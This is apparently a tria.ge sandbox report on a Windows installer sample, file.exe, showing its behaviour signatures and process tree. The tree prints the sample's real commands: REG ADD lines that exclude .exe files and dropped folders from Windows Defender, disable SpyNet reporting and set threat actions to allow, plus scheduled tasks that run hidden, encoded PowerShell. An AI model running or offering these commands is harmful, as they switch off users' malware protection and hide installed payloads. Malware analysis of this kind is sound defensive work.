Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    90s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02/01/2023, 17:11

General

  • Target

    file.exe

  • Size

    7.2MB

  • MD5

    5f89f1d37050780f78e3c1d539638aaa

  • SHA1

    c4ea32f3169a9430ab8e0eeeda41b3e30330b174

  • SHA256

    8680e510ef6644362a59bffb657399b0354e34204460686664af017e3e01222b

  • SHA512

    4852dfe6c8d68e93d45b10e67a0115aed6b2a4ec576e1f815183f775db5eb511b04779155702a2eca89b6beaecfb6191a7b0acca7364bd5e5a869eff4d44b75c

  • SSDEEP

    196608:91O50MpTE8H7h7CKTFDQfvm0qorHItY/6oqhVrLZ56:3OF1X97CKT1e+1kHItxosVrLb6

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 1 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 27 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 11 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 44 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4808
    • C:\Users\Admin\AppData\Local\Temp\7zS673A.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4500
      • C:\Users\Admin\AppData\Local\Temp\7zS6A48.tmp\Install.exe
        .\Install.exe /S /site_id "525403"
        3⤵
        • Executes dropped EXE
        • Checks BIOS information in registry
        • Checks computer location settings
        • Drops file in System32 directory
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:2084
        • C:\Windows\SysWOW64\forfiles.exe
          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3532
          • C:\Windows\SysWOW64\cmd.exe
            /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:4480
            • \??\c:\windows\SysWOW64\reg.exe
              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
              6⤵
                PID:1340
              • \??\c:\windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                6⤵
                  PID:1188
            • C:\Windows\SysWOW64\forfiles.exe
              "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:4712
              • C:\Windows\SysWOW64\cmd.exe
                /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:3008
                • \??\c:\windows\SysWOW64\reg.exe
                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                  6⤵
                    PID:5064
                  • \??\c:\windows\SysWOW64\reg.exe
                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                    6⤵
                      PID:5096
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /CREATE /TN "gnpUAVTrn" /SC once /ST 11:54:42 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                  4⤵
                  • Creates scheduled task(s)
                  PID:4264
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /run /I /tn "gnpUAVTrn"
                  4⤵
                    PID:1936
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /DELETE /F /TN "gnpUAVTrn"
                    4⤵
                      PID:1896
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /CREATE /TN "bOSQRNpkOVZgxEJuQZ" /SC once /ST 18:12:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\xgMrVuxZGHkjBysNH\kYKymZXpjLLQuxG\OOIcnfN.exe\" 3K /site_id 525403 /S" /V1 /F
                      4⤵
                      • Drops file in Windows directory
                      • Creates scheduled task(s)
                      PID:4708
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                1⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:2024
                • C:\Windows\system32\gpupdate.exe
                  "C:\Windows\system32\gpupdate.exe" /force
                  2⤵
                    PID:208
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                  1⤵
                    PID:3540
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                    1⤵
                      PID:3556
                    • C:\Windows\system32\gpscript.exe
                      gpscript.exe /RefreshSystemParam
                      1⤵
                        PID:4496
                      • C:\Users\Admin\AppData\Local\Temp\xgMrVuxZGHkjBysNH\kYKymZXpjLLQuxG\OOIcnfN.exe
                        C:\Users\Admin\AppData\Local\Temp\xgMrVuxZGHkjBysNH\kYKymZXpjLLQuxG\OOIcnfN.exe 3K /site_id 525403 /S
                        1⤵
                        • Executes dropped EXE
                        • Drops file in System32 directory
                        • Suspicious use of WriteProcessMemory
                        PID:2352
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
                          2⤵
                          • Drops file in System32 directory
                          • Modifies data under HKEY_USERS
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:5060
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                            3⤵
                            • Suspicious use of WriteProcessMemory
                            PID:5048
                            • C:\Windows\SysWOW64\reg.exe
                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                              4⤵
                                PID:696
                            • C:\Windows\SysWOW64\reg.exe
                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                              3⤵
                                PID:5112
                              • C:\Windows\SysWOW64\reg.exe
                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                3⤵
                                  PID:2884
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                  3⤵
                                    PID:4312
                                  • C:\Windows\SysWOW64\reg.exe
                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                    3⤵
                                      PID:4244
                                    • C:\Windows\SysWOW64\reg.exe
                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                      3⤵
                                        PID:4888
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                        3⤵
                                          PID:4268
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                          3⤵
                                            PID:4712
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                            3⤵
                                              PID:1704
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                              3⤵
                                                PID:640
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                3⤵
                                                  PID:3584
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                  3⤵
                                                    PID:1568
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                    3⤵
                                                      PID:2508
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                      3⤵
                                                        PID:2912
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                        3⤵
                                                          PID:712
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                          3⤵
                                                            PID:644
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                            3⤵
                                                              PID:1988
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                              3⤵
                                                                PID:2724
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                3⤵
                                                                  PID:2260
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                  3⤵
                                                                    PID:2036
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                    3⤵
                                                                      PID:3548
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                      3⤵
                                                                        PID:4668
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                        3⤵
                                                                          PID:3376
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                          3⤵
                                                                            PID:3028
                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\BCYiAWjwlOUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\BCYiAWjwlOUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\VbTcjdkdwGmHC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\VbTcjdkdwGmHC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZEPrIbduU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZEPrIbduU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\jmFgIgVItxguDoUlaJR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\jmFgIgVItxguDoUlaJR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\kFGIzoYRPZKU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\kFGIzoYRPZKU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\GUkklAUxJwuFWkVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\GUkklAUxJwuFWkVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\xgMrVuxZGHkjBysNH\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\xgMrVuxZGHkjBysNH\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\oRUTGCdkhMXGqFoW\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\oRUTGCdkhMXGqFoW\" /t REG_DWORD /d 0 /reg:64;"
                                                                          2⤵
                                                                          • Drops file in System32 directory
                                                                          • Modifies data under HKEY_USERS
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:2676
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BCYiAWjwlOUn" /t REG_DWORD /d 0 /reg:32
                                                                            3⤵
                                                                              PID:2696
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BCYiAWjwlOUn" /t REG_DWORD /d 0 /reg:32
                                                                                4⤵
                                                                                  PID:2164
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BCYiAWjwlOUn" /t REG_DWORD /d 0 /reg:64
                                                                                3⤵
                                                                                  PID:4580
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VbTcjdkdwGmHC" /t REG_DWORD /d 0 /reg:32
                                                                                  3⤵
                                                                                    PID:32
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VbTcjdkdwGmHC" /t REG_DWORD /d 0 /reg:64
                                                                                    3⤵
                                                                                      PID:1468
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZEPrIbduU" /t REG_DWORD /d 0 /reg:32
                                                                                      3⤵
                                                                                        PID:4104
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZEPrIbduU" /t REG_DWORD /d 0 /reg:64
                                                                                        3⤵
                                                                                          PID:1284
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jmFgIgVItxguDoUlaJR" /t REG_DWORD /d 0 /reg:32
                                                                                          3⤵
                                                                                            PID:4292
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jmFgIgVItxguDoUlaJR" /t REG_DWORD /d 0 /reg:64
                                                                                            3⤵
                                                                                              PID:1032
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\kFGIzoYRPZKU2" /t REG_DWORD /d 0 /reg:32
                                                                                              3⤵
                                                                                                PID:2792
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\kFGIzoYRPZKU2" /t REG_DWORD /d 0 /reg:64
                                                                                                3⤵
                                                                                                  PID:4492
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\GUkklAUxJwuFWkVB /t REG_DWORD /d 0 /reg:32
                                                                                                  3⤵
                                                                                                    PID:3820
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\GUkklAUxJwuFWkVB /t REG_DWORD /d 0 /reg:64
                                                                                                    3⤵
                                                                                                      PID:4688
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\xgMrVuxZGHkjBysNH /t REG_DWORD /d 0 /reg:32
                                                                                                      3⤵
                                                                                                        PID:1524
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\xgMrVuxZGHkjBysNH /t REG_DWORD /d 0 /reg:64
                                                                                                        3⤵
                                                                                                          PID:2040
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\oRUTGCdkhMXGqFoW /t REG_DWORD /d 0 /reg:32
                                                                                                          3⤵
                                                                                                            PID:4692
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\oRUTGCdkhMXGqFoW /t REG_DWORD /d 0 /reg:64
                                                                                                            3⤵
                                                                                                              PID:3740
                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                            schtasks /CREATE /TN "gQttFGVVp" /SC once /ST 07:35:58 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                            2⤵
                                                                                                            • Creates scheduled task(s)
                                                                                                            PID:1460
